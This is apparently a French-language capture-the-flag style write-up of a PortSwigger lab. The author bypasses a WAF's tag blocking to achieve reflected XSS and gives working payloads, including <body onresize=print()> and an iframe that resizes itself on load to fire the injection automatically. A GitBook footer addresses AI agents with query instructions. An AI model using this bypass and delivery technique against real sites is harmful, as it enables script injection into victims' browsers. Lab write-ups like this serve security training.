> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-in-html-with-blocked-tags.md).

# XSS réfléchi dans HTML avec balises bloquées

### XSS réfléchi dans un contexte HTML avec la plupart des balises et attributs bloqués

Ce laboratoire contient une vulnérabilité XSS réfléchie dans la fonctionnalité de recherche, mais un pare-feu applicatif (WAF) bloque les vecteurs XSS les plus courants. / Pour résoudre le laboratoire, vous devez contourner le WAF et déclencher le `print()` fonction.

* En essayant des payloads classiques comme `<h1>test</h1>`, `<img` ou `<script` la réponse est : « Tag is not allowed ».

```html
<h1>test</h1>
<img
<script
...
```

<figure><img src="/files/36c59638d1eaee254d3526a4f502695dc97a71d8" alt=""><figcaption></figcaption></figure>

* J’ai intercepté la page avec Burp Suite et lancé un envoi via Intruder.

<figure><img src="/files/8ff8e2647dca43289f294cda22a4d471717514a0" alt=""><figcaption></figcaption></figure>

J’ai copié les types d’attributs d’événements (gestionnaires d’événements) et j’en ai testé plusieurs dans la cheatsheet de PortSwigger.

<figure><img src="/files/0a32df26c527638dcf13149b552132f462f508b7" alt=""><figcaption></figcaption></figure>

* J

<figure><img src="/files/0d15080120fe8a4da81f03cf94b478f17a270354" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2b58483007ac3ec13a9358152eceab745522f6a6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7017a834b76f46f48321e4540510afa8f9433915" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/20dc4edb3461e43de090826b03b032998c023c3b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/eb64f129917d944c8ad97e447e80c9039be628a5" alt=""><figcaption></figcaption></figure>

```
<body test=1>
```

<figure><img src="/files/bcfb892fb772a405106a7b30dedacbd7084dd36d" alt=""><figcaption></figcaption></figure>

* J’ai filtré/essayé plusieurs attributs d’événements et je me suis concentré sur `onresize`.

```javascript
<body onresize=alert(0)>
```

Payload testé et opérationnel :

* Injection directe : `<body onresize=alert(0)>` — par redimensionnement (molette de zoom), l’alerte apparaît.

<figure><img src="/files/3974836430a55a5fdc1bc701d3193c63088b9dae" alt=""><figcaption></figcaption></figure>

Objectif final : appeler `print()` au lieu de `alert()`:

```javascript
<body onresize=print()>
```

<figure><img src="/files/8be08884dc8d4ab433a36c380d866bcb88dde9f0" alt=""><figcaption></figcaption></figure>

URL d’exploitation envoyée à la victime :

```javascript
https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=
```

Livraison via iframe et déclenchement automatique :

* Pour forcer le `onresize` événement à se charger dans le cadre, la largeur du cadre est modifiée depuis son `onload` attribut :

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>"</iframe>
```

{% endcode %}

<figure><img src="/files/752d57d8ec022ccc630d58870cab79f6e477437b" alt=""><figcaption></figcaption></figure>

et version avec ajustement de la largeur au chargement :

{% code overflow="wrap" %}

```javascript
<iframe id="myframe" src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>" onload=this.style.width='100px'></iframe>
```

{% endcode %}

<figure><img src="/files/9c407cfa011a3fda90ee62ab42b70b4fe5a5e935" alt=""><figcaption></figcaption></figure>

Résumé : contournement du WAF en injectant un attribut d’événement autorisé (`onresize`) qui appelle `print()`, puis livraison via iframe avec `onload` qui modifie la taille pour déclencher `onresize`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-in-html-with-blocked-tags.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
